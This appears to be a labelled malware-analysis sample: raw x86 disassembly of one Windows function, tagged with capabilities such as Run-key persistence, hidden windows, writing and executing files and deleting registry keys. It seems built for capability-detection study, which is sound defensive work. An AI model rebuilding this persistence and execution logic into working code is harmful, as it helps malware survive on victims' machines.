Function at 0x410a48
Capabilities:
Check os version
Create directory
Create process on windows
Delete registry key
Get disk information
Hide graphical window
Persist via run registry key
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x2c
push 0
push 0
dec ecx
jne 0x410a50
push ebx
push esi
push edi
mov esi, 0x415adc
mov edi, 0x415b14
mov ebx, 0x415b47
xor eax, eax
push ebp
push 0x411eff
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, edi
mov edx, 0x411f18
call fcn.00403770
cmp byte [0x415b48], 0x66
jne 0x410adb
mov eax, dword [0x4141fc]
push eax
push 0x400
lea eax, [ebp - 4]
push eax
mov ecx, 0x411f54
mov edx, 0x411f64
mov eax, 0x80000002
call fcn.00406724
mov edx, dword [ebp - 4]
mov eax, 0x415ae8
call fcn.00403770
cmp byte [0x415b45], 0
jne 0x410adb
push 0x2710
call sub.kernel32.dll_Sleep
mov eax, dword [0x415ae8]
call fcn.004065c4
mov byte [ebx], al
mov edx, 0x411f64
mov ecx, 0x411f54
mov eax, 0x80000002
call fcn.00406bec
lea eax, [ebp - 8]
call fcn.00406468
mov edx, dword [ebp - 8]
mov eax, 0x415ad8
call fcn.00403770
lea eax, [ebp - 0xc]
call fcn.004064d4
mov edx, dword [ebp - 0xc]
mov eax, esi
call fcn.00403770
mov eax, 0x415ae0
mov ecx, 0x411fac
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [0x415ae8]
call fcn.00403894
test eax, eax
jne 0x410b46
mov eax, 0x415ae8
mov ecx, 0x411fbc
mov edx, dword [esi]
call fcn.004038e0
mov eax, 0x414130
mov ecx, dword [0x414130]
mov edx, dword [esi]
call fcn.004038e0
mov eax, 0x415ad0
mov ecx, 0x411fd0
mov edx, dword [0x414130]
call fcn.004038e0
mov eax, 0x415ad4
mov ecx, 0x411fe4
mov edx, dword [0x414130]
call fcn.004038e0
xor eax, eax
mov dword [0x415b4c], eax
call fcn.00412d4c
mov eax, edi
mov edx, fcn.00411ff8
call fcn.00403770
cmp byte [0x415b45], 0
je 0x410dd0
mov eax, 0x412030
call fcn.00405bb8
push 0xbb8
call sub.kernel32.dll_Sleep
call fcn.00406644
lea eax, [ebp - 0x10]
mov ecx, 0x412048
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x10]
call fcn.00405a6c
lea eax, [ebp - 0x14]
mov ecx, 0x41205c
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x14]
call fcn.00405a6c
mov eax, dword [0x415ad0]
call fcn.00405a6c
mov ecx, 0x411fbc
mov edx, 0x412070
mov eax, 0x80000002
call fcn.00406bec
mov ecx, 0x411fbc
mov edx, 0x4120a8
mov eax, 0x80000002
call fcn.00406bec
mov ecx, 0x411fbc
mov edx, 0x4120e8
mov eax, 0x80000001
call fcn.00406bec
mov edx, 0x412070
mov ecx, 0x412130
mov eax, 0x80000001
call fcn.00406bec
mov edx, 0x4120e8
mov ecx, 0x412140
mov eax, 0x80000002
call fcn.00406bec
lea eax, [ebp - 0x18]
mov ecx, 0x412154
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x18]
call fcn.00405a6c
lea eax, [ebp - 0x1c]
mov ecx, 0x41216c
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x1c]
call fcn.00405a6c
lea eax, [ebp - 0x20]
mov ecx, 0x412180
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x20]
call fcn.00405a6c
lea eax, [ebp - 0x24]
mov ecx, 0x412198
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x24]
call fcn.00405a6c
lea eax, [ebp - 0x28]
mov ecx, 0x4121b0
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x28]
call fcn.00405a6c
lea eax, [ebp - 0x2c]
mov ecx, 0x4121c4
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x2c]
call fcn.00405a6c
lea eax, [ebp - 0x30]
mov ecx, 0x4121d8
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x30]
call fcn.00405a6c
push 0x4121e4
push 0x80000002
call sub.advapi32.dll_RegDeleteKeyA
push 0x412210
push 0x80000002
call sub.advapi32.dll_RegDeleteKeyA
mov eax, 0x412258
call fcn.0040f608
mov eax, 0x412264
call fcn.0040f608
mov eax, 0x412270
call fcn.0040f608
mov eax, edi
mov edx, 0x41227c
call fcn.00403770
mov eax, dword [0x415ad4]
call fcn.00405a6c
push 0x200040
push 0x4122b0
push 0x4122c8
lea edx, [ebp - 0x38]
mov eax, 0x72
call fcn.00405370
push dword [ebp - 0x38]
push 0x4122dc
lea eax, [ebp - 0x34]
mov edx, 3
call fcn.00403954
mov eax, dword [ebp - 0x34]
call fcn.00403a94
push eax
push 0
call sub.user32.dll_MessageBoxA_1
push 1
push 0
push 0
mov ecx, 0x412030
lea eax, [ebp - 0x3c]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x3c]
call fcn.00403a94
push eax
push 0x4122f4
push 0
call sub.shell32.dll_ShellExecuteA
call fcn.00405ac4
jmp 0x411ee1
push 0
mov eax, dword [0x414130]
call fcn.00403a94
push eax
call sub.kernel32.dll_CreateDirectoryA
call sub.kernel32.dll_GetVersion_1
and eax, 0xffff
and eax, 0xff
cmp ax, 5
setb byte [0x415b44]
cmp byte [0x415b44], 0
je 0x410e0a
call fcn.00405f9c
mov eax, edi
mov edx, 0x412304
call fcn.00403770
mov eax, dword [0x4141fc]
push eax
mov edx, 0x411f64
mov ecx, 0x412340
mov eax, 0x80000002
call fcn.00406670
push eax
call fcn.004055c8
pop edx
sub eax, edx
cmp eax, 0x1e
jl 0x411ee1
lea edx, [ebp - 0x40]
mov eax, dword [0x415ae8]
call fcn.004055f8
mov edx, dword [ebp - 0x40]
mov eax, 0x415aec
call fcn.00403770
call fcn.0040278c
push 1
push 0x96
push 0x222e1
mov ecx, 0x412154
lea eax, [ebp - 0x44]
mov edx, dword [esi]
call fcn.004038e0
mov edx, dword [ebp - 0x44]
mov cl, 1
mov eax, dword [0x415ae8]
call fcn.004057bc
mov byte [ebx], al
mov ecx, 0x412154
lea eax, [ebp - 0x48]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x48]
call fcn.004065c4
mov byte [ebx], al
mov eax, edi
mov edx, 0x41234c
call fcn.00403770
mov eax, dword [0x4141fc]
push eax
mov edx, 0x411f64
mov ecx, 0x412390
mov eax, 0x80000002
call fcn.00406670
mov dword [0x415b3c], eax
cmp dword [0x415b3c], 0x72
jge 0x410f9f
cmp byte [ebx], 0
jne 0x410f37
mov ecx, 0x412154
lea eax, [ebp - 0x4c]
mov edx, dword [esi]
call fcn.004038e0
mov edx, dword [ebp - 0x4c]
mov eax, dword [0x415ae8]
call fcn.004039e0
je 0x410f37
mov eax, 0x412154
call fcn.00405bb8
push 1
push 0x96
push 0x222e1
mov ecx, 0x412154
lea eax, [ebp - 0x50]
mov edx, dword [esi]
call fcn.004038e0
mov edx, dword [ebp - 0x50]
mov cl, 1
mov eax, dword [0x415ae8]
call fcn.004057bc
mov byte [ebx], al
mov eax, edi
mov edx, 0x411f18
call fcn.00403770
cmp byte [ebx], 0
je 0x410f9f
push 0x72
mov ecx, 0x412390
mov edx, 0x411f64
mov eax, 0x80000002
call fcn.004068e8
mov byte [ebx], al
push 0x4123a0
lea edx, [ebp - 0x58]
mov eax, 0x72
call fcn.00405370
push dword [ebp - 0x58]
push 0x4123b4
lea edx, [ebp - 0x5c]
mov eax, dword [0x415b3c]
call fcn.00405370
push dword [ebp - 0x5c]
lea eax, [ebp - 0x54]
mov edx, 4
call fcn.00403954
mov eax, dword [ebp - 0x54]
call fcn.00412de0
mov eax, edi
mov edx, 0x4123c4
call fcn.00403770
call fcn.00407048
push 1
push 0x96
push 0x222e1
mov ecx, 0x41216c
lea eax, [ebp - 0x60]
mov edx, dword [esi]
call fcn.004038e0
mov edx, dword [ebp - 0x60]
xor ecx, ecx
mov eax, dword [0x415ae8]
call fcn.004057bc
mov byte [ebx], al
mov ecx, 0x41216c
lea eax, [ebp - 0x64]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x64]
call fcn.004065c4
mov byte [ebx], al
push 1
push 0x96
push 0x222e1
mov ecx, 0x412180
lea eax, [ebp - 0x68]
mov edx, dword [esi]
call fcn.004038e0
mov edx, dword [ebp - 0x68]
xor ecx, ecx
mov eax, dword [0x415ae8]
call fcn.004057bc
mov byte [ebx], al
mov ecx, 0x412180
lea eax, [ebp - 0x6c]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x6c]
call fcn.004065c4
mov byte [ebx], al
mov ecx, 0x4121c4
lea eax, [ebp - 0x70]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x70]
call fcn.00405850
test al, al
jne 0x4110c5
push 1
push 0
push 0x222e1
mov ecx, 0x4121c4
lea eax, [ebp - 0x74]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x74]
push eax
mov ecx, 0x412198
lea eax, [ebp - 0x78]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x78]
xor ecx, ecx
pop edx
call fcn.004057bc
mov byte [ebx], al
push 1
push 0
push 0x222e1
mov ecx, 0x4121d8
lea eax, [ebp - 0x7c]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x7c]
push eax
mov ecx, 0x4121b0
lea eax, [ebp - 0x80]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x80]
xor ecx, ecx
pop edx
call fcn.004057bc
mov byte [ebx], al
mov ecx, 0x412198
lea eax, [ebp - 0x84]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x84]
call fcn.00405850
test al, al
jne 0x411172
push 1
push 0
push 0x222e1
mov ecx, 0x412198
lea eax, [ebp - 0x88]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x88]
push eax
mov ecx, 0x4121c4
lea eax, [ebp - 0x8c]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x8c]
xor ecx, ecx
pop edx
call fcn.004057bc
mov byte [ebx], al
push 1
push 0
push 0x222e1
mov ecx, 0x4121b0
lea eax, [ebp - 0x90]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x90]
push eax
mov ecx, 0x4121d8
lea eax, [ebp - 0x94]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x94]
xor ecx, ecx
pop edx
call fcn.004057bc
mov byte [ebx], al
mov eax, dword [0x415ae8]
call fcn.004065c4
mov byte [ebx], al
mov ecx, 0x412198
lea eax, [ebp - 0x98]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x98]
call fcn.004065c4
mov byte [ebx], al
mov ecx, 0x4121b0
lea eax, [ebp - 0x9c]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x9c]
call fcn.004065c4
mov byte [ebx], al
mov ecx, 0x4121c4
lea eax, [ebp - 0xa0]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0xa0]
call fcn.004065c4
mov byte [ebx], al
mov ecx, 0x4121d8
lea eax, [ebp - 0xa4]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0xa4]
call fcn.004065c4
mov byte [ebx], al
mov eax, edi
mov edx, 0x4123fc
call fcn.00403770
call fcn.0040e15c
mov eax, 0x412258
call fcn.0040e838
mov eax, edi
mov edx, 0x41243c
call fcn.00403770
mov eax, 0x412264
call fcn.0040e838
mov eax, 0x412270
call fcn.0040e838
mov eax, edi
mov edx, 0x41248c
call fcn.00403770
push 0
push 0
push 0x415b40
mov ecx, 0x407664
xor edx, edx
xor eax, eax
call fcn.004036d8
push 0
push 0
push 0x415b40
mov ecx, 0x406db8
xor edx, edx
xor eax, eax
call fcn.004036d8
mov ecx, 0x412154
mov eax, 0x415ae4
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [0x415ae4]
mov edx, dword [0x415ae8]
call fcn.004039e0
je 0x4112dc
mov ecx, 0x41216c
lea eax, [ebp - 0xa8]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0xa8]
mov edx, dword [0x415ae8]
call fcn.004039e0
je 0x4112dc
mov ecx, 0x412180
lea eax, [ebp - 0xac]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0xac]
mov edx, dword [0x415ae8]
call fcn.004039e0
jne 0x4112e8
mov eax, 0x415ae4
call fcn.0040371c
jmp 0x4112fd
mov eax, 0x415ae4
mov ecx, dword [0x415ae8]
mov edx, 0x4124c0
call fcn.004038e0
mov al, byte [0x415b48]
sub al, 0x64
je 0x411310
dec al
je 0x411327
dec al
je 0x41133e
jmp 0x411355
mov eax, 0x415ae4
mov ecx, dword [0x415ae4]
mov edx, 0x4124cc
call fcn.004038e0
jmp 0x41135f
mov eax, 0x415ae4
mov ecx, dword [0x415ae4]
mov edx, 0x4124d8
call fcn.004038e0
jmp 0x41135f
mov eax, 0x415ae4
mov ecx, dword [0x415ae4]
mov edx, 0x4124e4
call fcn.004038e0
jmp 0x41135f
mov eax, 0x4124f4
call fcn.00412de0
lea eax, [ebp - 0xb0]
mov ecx, dword [0x415ae4]
mov edx, 0x412500
call fcn.004038e0
mov eax, dword [ebp - 0xb0]
call fcn.00412de0
mov ecx, 0x411f64
mov eax, 0x415b60
mov edx, 0x80000002
call fcn.00406a44
test al, al
jne 0x4113e3
mov ecx, 0x411f64
mov eax, 0x415b60
mov edx, 0x80000002
call fcn.00406a44
test al, al
jne 0x4113e3
lea edx, [ebp - 0xb8]
xor eax, eax
call fcn.004061f4
mov ecx, dword [ebp - 0xb8]
lea eax, [ebp - 0xb4]
mov edx, 0x412510
call fcn.004038e0
mov eax, dword [ebp - 0xb4]
call fcn.00412de0
jmp 0x411ee1
mov eax, edi
mov edx, 0x412304
call fcn.00403770
push dword [esi]
push 0x412528
push 0x412538
mov eax, 0x415b04
mov edx, 3
call fcn.00403954
mov eax, dword [0x415b04]
call fcn.00405850
test al, al
jne 0x411484
push 1
push 0x96
push 0x222e1
lea eax, [ebp - 0xbc]
mov ecx, 0x412548
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0xbc]
mov cl, 1
mov edx, dword [0x415b04]
call fcn.004057bc
test al, al
je 0x411470
lea eax, [ebp - 0xc0]
mov ecx, dword [0x415b04]
mov edx, 0x412560
call fcn.004038e0
mov eax, dword [ebp - 0xc0]
call fcn.00412de0
jmp 0x411484
mov eax, 0x41257c
call fcn.00412de0
mov eax, 0x415b04
call fcn.0040371c
mov eax, edi
mov edx, 0x41258c
call fcn.00403770
mov eax, dword [0x415b04]
call fcn.00403894
test eax, eax
jle 0x411684
mov eax, 0x415b0c
mov ecx, 0x4125c8
mov edx, dword [esi]
call fcn.004038e0
mov eax, 0x415b08
mov edx, 0x4125dc
call fcn.00403770
lea eax, [ebp - 0xc4]
mov ecx, 0x4125f0
mov edx, dword [0x415b0c]
call fcn.004038e0
mov eax, dword [ebp - 0xc4]
call fcn.00405850
test al, al
je 0x4114f6
mov eax, 0x415b08
mov edx, 0x412600
call fcn.0040389c
lea eax, [ebp - 0xc8]
mov ecx, 0x412610
mov edx, dword [0x415b0c]
call fcn.004038e0
mov eax, dword [ebp - 0xc8]
call fcn.00405850
test al, al
je 0x41152a
mov eax, 0x415b08
mov edx, 0x412620
call fcn.0040389c
lea eax, [ebp - 0xcc]
mov ecx, 0x412630
mov edx, dword [0x415b0c]
call fcn.004038e0
mov eax, dword [ebp - 0xcc]
call fcn.00405850
test al, al
je 0x41155e
mov eax, 0x415b08
mov edx, 0x412640
call fcn.0040389c
lea eax, [ebp - 0xd0]
mov ecx, 0x412650
mov edx, dword [0x415b0c]
call fcn.004038e0
mov eax, dword [ebp - 0xd0]
call fcn.00405850
test al, al
je 0x411592
mov eax, 0x415b08
mov edx, 0x412660
call fcn.0040389c
lea eax, [ebp - 0xd4]
mov ecx, 0x412670
mov edx, dword [0x415b0c]
call fcn.004038e0
mov eax, dword [ebp - 0xd4]
call fcn.00405850
test al, al
je 0x4115c6
mov eax, 0x415b08
mov edx, 0x412680
call fcn.0040389c
lea eax, [ebp - 0xd8]
mov ecx, 0x412690
mov edx, dword [0x415b0c]
call fcn.004038e0
mov eax, dword [ebp - 0xd8]
call fcn.00405850
test al, al
je 0x4115fa
mov eax, 0x415b08
mov edx, 0x4126a0
call fcn.0040389c
lea eax, [ebp - 0xdc]
mov ecx, 0x4126b0
mov edx, dword [0x415b0c]
call fcn.004038e0
mov eax, dword [ebp - 0xdc]
call fcn.00405850
test al, al
je 0x41162e
mov eax, 0x415b08
mov edx, 0x4126c0
call fcn.0040389c
mov eax, dword [0x415b08]
mov edx, 0x4126d0
call fcn.004039e0
jne 0x41164b
mov eax, 0x412700
call fcn.00412de0
jmp 0x41166c
lea eax, [ebp - 0xe0]
mov ecx, dword [0x415b08]
mov edx, 0x412710
call fcn.004038e0
mov eax, dword [ebp - 0xe0]
call fcn.00412de0
push 0
mov ecx, 0x412720
mov edx, 0x412730
mov eax, 0x80000001
call fcn.004068e8
jmp 0x41168e
mov eax, 0x415b08
call fcn.0040371c
cmp byte [0x415b44], 0
jne 0x4116e2
push 0x1f40
call sub.kernel32.dll_Sleep
push 0x412748
push 0
call sub.user32.dll_FindWindowA
mov dword [0x415b40], eax
cmp dword [0x415b40], 0
jne 0x4116cc
push 0x412760
push 0
call sub.user32.dll_FindWindowA
mov dword [0x415b40], eax
cmp dword [0x415b40], 0
jbe 0x4116e2
push 0
mov eax, dword [0x415b40]
push eax
call sub.user32.dll_ShowWindow
mov eax, edi
mov edx, 0x41227c
call fcn.00403770
mov eax, dword [0x4141fc]
push eax
mov edx, 0x411f64
mov ecx, 0x412780
mov eax, 0x80000002
call fcn.00406670
mov dword [0x415b24], eax
mov eax, dword [0x4141fc]
push eax
mov edx, 0x411f64
mov ecx, 0x412790
mov eax, 0x80000002
call fcn.00406670
mov dword [0x415b34], eax
cmp dword [0x415b34], 0x64
jge 0x4118e7
mov eax, dword [0x4141fc]
push eax
push 0x400
lea eax, [ebp - 0xe8]
push eax
mov edx, 0x411f64
mov ecx, 0x4127a0
mov eax, 0x80000002
call fcn.00406724
mov eax, dword [ebp - 0xe8]
lea edx, [ebp - 0xe4]
call fcn.004053f4
mov edx, dword [ebp - 0xe4]
mov eax, 0x415afc
call fcn.00403770
mov eax, dword [0x415afc]
call fcn.00403894
test eax, eax
je 0x41179b
mov eax, dword [0x415afc]
mov al, byte [eax]
add al, 0x9f
sub al, 0x1a
jb 0x4117aa
mov eax, 0x415afc
mov edx, 0x4127b0
call fcn.00403770
mov eax, dword [0x415afc]
mov bl, byte [eax]
cmp bl, 0x63
jb 0x4118c3
lea eax, [ebp - 0xec]
mov edx, ebx
call fcn.0040383c
lea eax, [ebp - 0xec]
mov edx, 0x4127bc
call fcn.0040389c
mov eax, dword [ebp - 0xec]
call fcn.00403a94
push eax
call sub.kernel32.dll_GetDriveTypeA
add eax, 0xfffffffe
sub eax, 3
jb 0x4117f9
sub eax, 1
jne 0x4118b2
xor eax, eax
mov dword [0x415b28], eax
lea eax, [ebp - 0xf0]
mov edx, ebx
call fcn.0040383c
lea eax, [ebp - 0xf0]
mov edx, 0x4127bc
call fcn.0040389c
mov eax, dword [ebp - 0xf0]
call fcn.0040b4b0
lea eax, [ebp - 0xf8]
mov edx, ebx
call fcn.0040383c
mov ecx, dword [ebp - 0xf8]
lea eax, [ebp - 0xf4]
mov edx, 0x4127c8
call fcn.004038e0
mov eax, dword [ebp - 0xf4]
call fcn.00412de0
mov eax, edi
mov edx, 0x4127dc
call fcn.00403770
lea eax, [ebp - 0xfc]
xor edx, edx
mov dl, bl
dec edx
call fcn.0040383c
mov eax, dword [ebp - 0xfc]
push eax
mov ecx, 0x4127a0
mov edx, 0x411f64
mov eax, 0x80000002
call fcn.004067f8
push 0
mov ecx, 0x412780
mov edx, 0x411f64
mov eax, 0x80000002
call fcn.004068e8
cmp bl, 0x63
jne 0x4118b2
mov eax, 0x412834
call fcn.00412de0
xor eax, eax
mov dword [0x415b24], eax
dec ebx
cmp bl, 0x62
jne 0x4117ba
mov dword [0x415b34], 0x64
mov eax, dword [0x415b34]
push eax
mov ecx, 0x412790
mov edx, 0x411f64
mov eax, 0x80000002
call fcn.004068e8
mov eax, edi
mov edx, fcn.00411ff8
call fcn.00403770
cmp dword [0x415b34], 0xc8
jge 0x411986
cmp byte [0x415b48], 0x66
jne 0x411913
mov byte [0x414128], 0
xor eax, eax
mov dword [0x415b2c], eax
mov eax, edi
mov edx, 0x4127dc
call fcn.00403770
mov eax, dword [0x4141fc]
push eax
mov edx, 0x411f64
mov ecx, 0x412848
mov eax, 0x80000002
call fcn.00406670
mov dword [0x415b30], eax
xor eax, eax
call fcn.0040bd18
mov dword [0x415b34], 0xc8
mov eax, dword [0x415b34]
push eax
mov ecx, 0x412790
mov edx, 0x411f64
mov eax, 0x80000002
call fcn.004068e8
mov eax, 0x412858
call fcn.00412de0
mov eax, edi
mov edx, 0x412870
call fcn.00403770
mov eax, edi
mov edx, fcn.00411ff8
call fcn.00403770
mov eax, 0x415b60
call fcn.00406ab8
mov eax, dword [0x415aec]
call fcn.00403894
test eax, eax
jne 0x4119ee
lea edx, [ebp - 0x100]
mov eax, dword [0x415ae8]
call fcn.004055f8
mov edx, dword [ebp - 0x100]
mov eax, 0x415aec
call fcn.00403770
mov eax, dword [0x415aec]
call fcn.00403894
test eax, eax
jne 0x4119ee
call fcn.00409ae0
jmp 0x411ee1
cmp byte [0x415b48], 0x64
jne 0x411a01
call fcn.00412bf4
call fcn.004035b0
mov byte [0x414128], 0
mov eax, dword [0x4141fc]
push eax
mov edx, 0x411f64
mov ecx, 0x412920
mov eax, 0x80000002
call fcn.00406670
dec eax
je 0x411ad1
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
mov eax, dword [0x415ad0]
call fcn.00403a94
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [0x415b50], eax
push 2
push 0
push 0
mov eax, dword [0x415b50]
push eax
call sub.kernel32.dll_SetFilePointer_1
lea eax, [ebp - 0x104]
call fcn.00407914
mov edx, dword [ebp - 0x104]
mov eax, 0x415ae4
call fcn.00403770
push 0
push 0x415b40
mov eax, dword [0x415ae4]
call fcn.00403894
push eax
mov eax, 0x415ae4
call fcn.00403aec
push eax
mov eax, dword [0x415b50]
push eax
call sub.kernel32.dll_WriteFile_1
mov eax, dword [0x415b50]
push eax
call sub.kernel32.dll_CloseHandle_1
push 1
mov ecx, 0x412920
mov edx, 0x411f64
mov eax, 0x80000002
call fcn.004068e8
mov eax, edi
mov edx, 0x412930
call fcn.00403770
mov eax, edi
mov edx, 0x412988
call fcn.00403770
push 0xea60
call sub.kernel32.dll_Sleep
lea edx, [ebp - 0x108]
mov al, 1
call fcn.00405430
mov ecx, dword [ebp - 0x108]
mov eax, 0x415af8
mov edx, 0x4129bc
call fcn.004038e0
mov eax, 7
call fcn.00402bf8
cmp eax, 5
ja case.default.0x411b1c
jmp dword [eax*4 + 0x411b23]
lea edx, [ebp - 0x10c]
mov eax, 0x4129d0
call fcn.00405fe4
mov edx, dword [ebp - 0x10c]
mov eax, 0x415af4
call fcn.00403770
jmp 0x411c30
lea edx, [ebp - 0x110]
mov eax, 0x4129e8
call fcn.00405fe4
mov edx, dword [ebp - 0x110]
mov eax, 0x415af4
call fcn.00403770
jmp 0x411c30
lea edx, [ebp - 0x114]
mov eax, 0x412a00
call fcn.00405fe4
mov edx, dword [ebp - 0x114]
mov eax, 0x415af4
call fcn.00403770
jmp 0x411c30
lea edx, [ebp - 0x118]
mov eax, 0x412a18
call fcn.00405fe4
mov edx, dword [ebp - 0x118]
mov eax, 0x415af4
call fcn.00403770
jmp 0x411c30
lea edx, [ebp - 0x11c]
mov eax, 0x412a30
call fcn.00405fe4
mov edx, dword [ebp - 0x11c]
mov eax, 0x415af4
call fcn.00403770
jmp 0x411c30
lea edx, [ebp - 0x120]
mov eax, 0x412a4c
call fcn.00405fe4
mov edx, dword [ebp - 0x120]
mov eax, 0x415af4
call fcn.00403770
jmp 0x411c30
lea edx, [ebp - 0x124]
mov eax, 0x412a64
call fcn.00405fe4
mov edx, dword [ebp - 0x124]
mov eax, 0x415af4
call fcn.00403770
mov eax, edi
mov edx, 0x41248c
call fcn.00403770
mov eax, 7
call fcn.00402bf8
cmp eax, 5
ja case.default.0x411c4f
jmp dword [eax*4 + 0x411c56]
lea edx, [ebp - 0x128]
mov eax, 0x412a7c
call fcn.00405fe4
mov edx, dword [ebp - 0x128]
mov eax, 0x415af0
call fcn.00403770
jmp 0x411d63
lea edx, [ebp - 0x12c]
mov eax, 0x412a98
call fcn.00405fe4
mov edx, dword [ebp - 0x12c]
mov eax, 0x415af0
call fcn.00403770
jmp 0x411d63
lea edx, [ebp - 0x130]
mov eax, 0x412ab4
call fcn.00405fe4
mov edx, dword [ebp - 0x130]
mov eax, 0x415af0
call fcn.00403770
jmp 0x411d63
lea edx, [ebp - 0x134]
mov eax, 0x412ad0
call fcn.00405fe4
mov edx, dword [ebp - 0x134]
mov eax, 0x415af0
call fcn.00403770
jmp 0x411d63
lea edx, [ebp - 0x138]
mov eax, 0x412aec
call fcn.00405fe4
mov edx, dword [ebp - 0x138]
mov eax, 0x415af0
call fcn.00403770
jmp 0x411d63
lea edx, [ebp - 0x13c]
mov eax, 0x412b04
call fcn.00405fe4
mov edx, dword [ebp - 0x13c]
mov eax, 0x415af0
call fcn.00403770
jmp 0x411d63
lea edx, [ebp - 0x140]
mov eax, 0x412b20
call fcn.00405fe4
mov edx, dword [ebp - 0x140]
mov eax, 0x415af0
call fcn.00403770
mov ecx, 0x412048
lea eax, [ebp - 0x144]
mov edx, dword [esi]
call fcn.004038e0
mov edx, dword [ebp - 0x144]
mov eax, dword [0x415ad0]
call fcn.004100a4
test al, al
je 0x411daf
mov ecx, 0x41205c
lea eax, [ebp - 0x148]
mov edx, dword [esi]
call fcn.004038e0
mov edx, dword [ebp - 0x148]
mov eax, dword [0x415ad4]
call fcn.004100a4
test al, al
jne 0x411db9
call fcn.00412bf4
jmp 0x411ee1
call fcn.00406168
mov ecx, 0x412048
lea eax, [ebp - 0x14c]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x14c]
call fcn.0040c4ec
test al, al
je 0x411e01
mov ecx, 0x41205c
lea eax, [ebp - 0x150]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x150]
call fcn.0040c4ec
jmp 0x411ee1
call fcn.00406168
mov ecx, 0x412048
lea eax, [ebp - 0x154]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x154]
call fcn.0040c4ec
test al, al
je 0x411e49
mov ecx, 0x41205c
lea eax, [ebp - 0x158]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x158]
call fcn.0040c4ec
jmp 0x411ee1
call fcn.00406168
mov ecx, 0x412048
lea eax, [ebp - 0x15c]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x15c]
call fcn.0040c4ec
test al, al
je 0x411e8e
mov ecx, 0x41205c
lea eax, [ebp - 0x160]
mov edx, dword [esi]
call fcn.004038e0
mov eax, dword [ebp - 0x160]
call fcn.0040c4ec
jmp 0x411ee1
call fcn.00406168
call fcn.0040d158
test al, al
jne 0x411ee1
call fcn.00406168
call fcn.0040d81c
test al, al
jne 0x411ee1
call fcn.0040d158
mov eax, 0x412b3c
call fcn.00412de0
mov eax, dword [edi]
call fcn.00403894
cmp eax, 0xdc
jle 0x411ed5
mov eax, edi
mov edx, 0x412b54
call fcn.00403770
jmp 0x411ee1
mov eax, edi
mov edx, 0x412b9c
call fcn.00403770
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x411f06
lea eax, [ebp - 0x160]
mov edx, 0x58
call fcn.00403740
ret